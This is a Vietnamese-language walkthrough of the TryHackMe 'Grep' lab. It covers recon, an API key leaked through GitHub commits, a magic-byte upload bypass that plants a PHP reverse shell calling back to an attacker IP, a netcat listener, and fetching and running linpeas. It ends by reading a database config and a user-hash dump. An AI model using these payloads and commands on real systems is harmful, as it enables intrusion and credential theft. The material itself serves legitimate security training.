Tryhackme - Grep

TryHackMe - Grep

Reconnaissance and Scanning

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6af37230fdfe14d17e3b89eaa6af4ba (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrtm91fsPghgy6hHw1Y6us1n3WWXbx78a01ZR0xxfkgflDuBbvQeAuqhIoZ5MsB5YpPGCKDFTZ33KZeTCb89SVEidBoatBWJf3+Ys/iTaXJYrEZUNMwiJ8prll8u2MfAEB/3Up5jx4Qbt7BW5criwtzA+/LkvmOb2FKWQzM3l2Mg0QtkvtRbcw0H+MTvz2hRxTYqU//MdyxVh1nnvdPYdhtA7IQ8Lqg8Au0XGjeA58iktw/K3Ljn7wIePzixJclotHLJ5Jxdq6delmHKdOieoHT4MAK5tHA+AZRpZvLYiTWergXvNzHWqdTTssVsDQ8BeCDLs5RvvP36eDngaYZ1pxJ5GxZSlMEc5clmDOa0sb64nJq41MJCNDrpeuJrjcVe3g401mnZFSPUWqNIjLGH3VSWohbbAsi2YCrr+s3VldoNNWxIVrLXnhZg7HKVsQw2IJy8ufXTTLbC0cQHGuwNnbvmkSVS5nk0zdInPS6a4E22dd7hsJdksKEAEnq6LrgwM=
|   256 ea9b6eed77b35d2840c55d6dcc8a7e50 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKvPK6dn5A4GKUH0jYCw+leyMjc03SxV7TMFLz84QZSk6ueoqk1P++5Ly9rx8fCICzM5iT5oV6TmU4Rtr5Gw7Lo=
|   256 9cd769de85f6a430e5f56f16640614e0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG83nf9a5u2ZjV1opLrYvrMSvJGQKbR+mVrAp9ZDdlOn
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp   open  ssl/http syn-ack ttl 63 Apache httpd 2.4.41
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Issuer: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-14T13:03:09
| Not valid after:  2024-06-13T13:03:09
| MD5:   72958ef07c16221c3b0a40ee913c766c
| SHA-1: 38c23ba334b1851af1d4ee0a37bd701a830c7dd8
| -----BEGIN CERTIFICATE-----
| MIIDFzCCAf8CFGTWwbbVKaNSN8fhUdtf0QT84zCSMA0GCSqGSIb3DQEBCwUAMEgx
| CzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhTZWFy
| Y2hNRTERMA8GA1UEAwwIZ3JlcC50aG0wHhcNMjMwNjE0MTMwMzA5WhcNMjQwNjEz
| MTMwMzA5WjBIMQswCQYDVQQGEwJVUzETMBEGA1UECAwKU29tZS1TdGF0ZTERMA8G
| A1UECgwIU2VhcmNoTUUxETAPBgNVBAMMCGdyZXAudGhtMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAtiDNwwY9IR2HADMy6CRAwiPH0s8dIOFGPrbYCbLz
| fDKIWURlczzOlmgpscN/YHHpt6P5ywUPLGnMK3ukYag7xTUYl+vmledTnD9oebnJ
| 6qDweFFwdZ8hysITyvCyGgqcY52JE2nBtVNj6/L16iZ60KKko8opNsTE5IYj/sUt
| PsOxeNiV3oqpOUeKtZJbn7Kssd4KBwnRqTSUlXlPXzeRipAiW5SZZXo6K4YeLVht
| XlLPtPWsMC0fj16DDDtxLlZmvu3J5o9egp/eRpWmvKWIaKQ57Y0MKB8/gso8FxxX
| NiRY9Nru0C3DCUbc/xXywQ9pIGt/Xir++aXhyxCiIGh22QIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCzhJu52dIY7V/qQleDMEQ1oBLrQoFhHD6+UbvH0ELMAtL5Dc8A
| LGDdyFkgsx04TaZtJ20dyrjYD+tcAgu9Yb7eEYbfqqD5w4XSzvdEuTW2aVL86aT6
| IBbN8SMkX2zfILjHTOR1F7WAoHaIssH0yZltg+lQEEnAeb+XoIZm9cIW2bTNKoO2
| MeHgvSKkQkjROO29XQQ3mTbxFG86UsTwyGHdddnkfiWilXqgfh+wGxbY/wCdhU0C
| TnuXn4IEVdCBn16rCg51kEZZC1EWPcJpv0/InUNfcgumcVY033EXF/HgW4eNDD6H
| XmLEGKfScUWcO0//STDZGZXwf9gt30DqoMSf
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.4.41 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-title: 403 Forbidden
51337/tcp open  http     syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: 400 Bad Request
Service Info: Host: ip-10-10-133-64.eu-west-1.compute.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tôi để ý thấy có grep.thm, vậy nên tôi sẽ thử thêm domain vào file hosts

┌──(rootkali)-[/home/kali]
└─# nano /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.10.114.67    grep.thm        *.grep.thm
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

Truy cập vào https://grep.thm, tôi được 1 site login

login

Ở đây có 1 site login và 1 site register. Tôi đã thử vài cách đơn giản để thử bypass qua nhưng không login được, với site register thì tôi cần phải có API key mới có thể đăng ký được tài khoản

errot

Sau một lúc tìm kiếm xung quanh mà không thấy có gì khả quan về API, tôi nghĩ đến việc thử tìm thông tin về SearchMe, có thể là tên của một theme hoặc cms nào đó.

Trên github tôi tìm thấy source supersecuredeveloper/searchmecms: In progress… mới được tạo 4 tháng trước, khá trùng với thời điểm máy này được tạo trên Tryhackme, nó cũng có phần api như tôi đang tìm kiếm

Có 4 commits, và sau khi kiểm tra các commit này tôi tìm thấy api key

github

Sử dụng api key để đăng ký tài khoản

burp

Đăng nhập với tài khoản vừa tạo tôi được flag đầu tiên

RCE

Tiếp tục với source code tìm được trên github, tôi còn một phần nữa là upload.php. Tìm nó trên web

upload

Tập trung vào đoạn này trong source

$allowedExtensions = ['jpg', 'jpeg', 'png', 'bmp'];
$validMagicBytes = [
    'jpg' => 'ffd8ffe0', 
    'png' => '89504e47', 
    'bmp' => '424d'
];

Chỉ có các đuôi file phía trên mới được phép upload, và đầu file cũng phải giống với các chuỗi được quy định.

Đầu tiên tôi sẽ đổi tên file thành đuôi png và dùng hexeditor để đổi các giá trị đầu của file

┌──(rootkali)-[/home/kali]
└─# mv phpshell.php phpshell.png.php
┌──(rootkali)-[/home/kali]
└─# hexeditor phpshell.png.php
File: phpshell.php.png                    ASCII Offset: 0x00000004 / 0x00000A18 (%00)  M
00000000  89 50 4E 47  70 0A 2F 2F   20 70 68 70  2D 72 65 76

Tải file lên

{"message":"File uploaded successfully."}

Tuy nhiên tôi gặp lỗi khi mở file the image cannot be displayed because it contains errors. Sau một lúc tìm hiểu thì tôi nhận ra mình cần phải thay đổi các file shell nữa.

Shell của tôi sau khi đổi đuôi và các giá trị đầu

PNGp
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

Nó đã mất định dạng php. Tôi cần thêm vài ký tự đầu trước <?php nếu không muốn mất định dạng thật của file

....<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

Sau khi thay đổi các giá trị đầu của file nó sẽ trở thành như sau

PNG<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubuserc>
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

Upload lại và tạo listener port 9001

Vào https://grep.thm/api/uploads/ để mở file vừa upload

┌──(rootkali)-[/home/kali]
└─# nc -lnvp 9001            
listening on [any] 9001 ...
connect to [10.9.102.40] from (UNKNOWN) [10.10.221.7] 60196
Linux ip-10-10-221-7 5.15.0-1038-aws #43~20.04.1-Ubuntu SMP Fri Jun 2 17:10:57 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 03:10:28 up 55 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$

Để đỡ mất thời gian thì tôi sẽ tải linPEAS lên máy này để nó phân tích

www-data@ip-10-10-221-7:/$ cd /tmp
www-data@ip-10-10-221-7:/tmp$ wget http://10.9.102.40:8888/linpeas.sh
--2023-09-05 03:21:42--  http://10.9.102.40:8888/linpeas.sh
Connecting to 10.9.102.40:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 848400 (829K) [text/x-sh]
Saving to: linpeas.sh

linpeas.sh          100%[===================>] 828.52K   502KB/s    in 1.7s    

2023-09-05 03:21:44 (502 KB/s) - linpeas.sh saved [848400/848400]

www-data@ip-10-10-221-7:/tmp$ chmod +x linpeas.sh 
www-data@ip-10-10-221-7:/tmp$ ./linpeas.sh 

Đầu tiên, tôi có một subdomain mới là leakchecker.grep.thm với port 51337

<VirtualHost *:51337>
        ServerAdmin webmaster@leakchecker.grep.thm
        ServerName leakchecker.grep.thm
        DocumentRoot /var/www/leakchecker
        <IfModule mpm_itk_module>
                AssignUserId ubuntu ubuntu
        </IfModule>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile /var/www/leak_certificate.crt
        SSLCertificateKeyFile /var/www/private_unencrypted.key
</VirtualHost>

Tiếp theo, tôi có một file config db của php

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root www-data 524 Nov 11  2021 /etc/phpmyadmin/config-db.php  

Cuối cùng, tôi có một thư mục backup trong web

╔══════════╣ Web files?(output limit)
/var/www/:                                                                                                                                                           
total 48K
drwxr-xr-x  6 ubuntu www-data 4.0K Jun 14 12:57 .
drwxr-xr-x 14 root   root     4.0K Nov 10  2021 ..
drwxr-xr-x  2 ubuntu www-data 4.0K Jun 14 11:25 backup
-rw-r--r--  1 root   root     1.2K Jun 14 13:03 certificate.crt
-rw-r--r--  1 root   root      960 Jun  2 14:47 certificate.csr
drwxr-xr-x  2 ubuntu www-data 4.0K Jun 14 11:44 default_html
drwxr-xr-x  4 ubuntu www-data 4.0K Jun  7 12:14 html
-rw-r--r--  1 root   root     1.2K Jun 14 12:58 leak_certificate.crt

Thêm subdomain vào file hosts

127.0.0.1       localhost
127.0.1.1       kali
10.10.114.67    grep.thm        leakchecker.grep.thm
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

mail_check

Site yêu cầu email, tuy nhiên nhập thử mail tôi vừa đăng ở tài khoản phía trên thì không được.

Tiếp theo là file config db

www-data@ip-10-10-221-7:/tmp$ cat /etc/phpmyadmin/config-db.php
<?php
##
## database access settings in php format
## automatically generated from /etc/dbconfig-common/phpmyadmin.conf
## by /usr/sbin/dbconfig-generate-include
##
## by default this file is managed via ucf, so you shouldn't have to
## worry about manual changes being silently discarded.  *however*,
## you'll probably also want to edit the configuration file mentioned
## above too.
##
$dbuser='phpmyadmin';
$dbpass='tryhackme';
$basepath='';
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306';
$dbtype='mysql';

Thư mục backup

www-data@ip-10-10-221-7:/tmp$ ls -la /var/www/backup/
total 12
drwxr-xr-x 2 ubuntu www-data 4096 Jun 14 11:25 .
drwxr-xr-x 6 ubuntu www-data 4096 Jun 14 12:57 ..
-rw-rw-r-- 1 ubuntu ubuntu   1888 Jun 14 11:25 users.sql
www-data@ip-10-10-221-7:/tmp$ cat /var/www/backup/users.sql 
-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: May 30, 2023 at 01:25 PM
-- Server version: 10.4.28-MariaDB
-- PHP Version: 8.0.28

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `postman`
--

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password` varchar(255) NOT NULL,
  `email` varchar(100) NOT NULL,
  `name` varchar(100) DEFAULT NULL,
  `role` varchar(20) DEFAULT 'user'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `username`, `password`, `email`, `name`, `role`) VALUES
(1, 'test', '$2y$10$dE6VAdZJCN4repNAFdsO2ePDr3StRdOhUJ1O/41XVQg91qBEBQU3G', 'test@grep.thm', 'Test User', 'user'),
(2, 'admin', '$2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C', 'admin@searchme2023cms.grep.thm', 'Admin User', 'admin');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `username` (`username`),
  ADD UNIQUE KEY `email` (`email`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
www-data@ip-10-10-221-7:/tmp$ 

Email của user admin là admin@searchme2023cms.grep.thm và password admin. Thử nhập email này vào leakchecker

pass


© 2024. All rights reserved.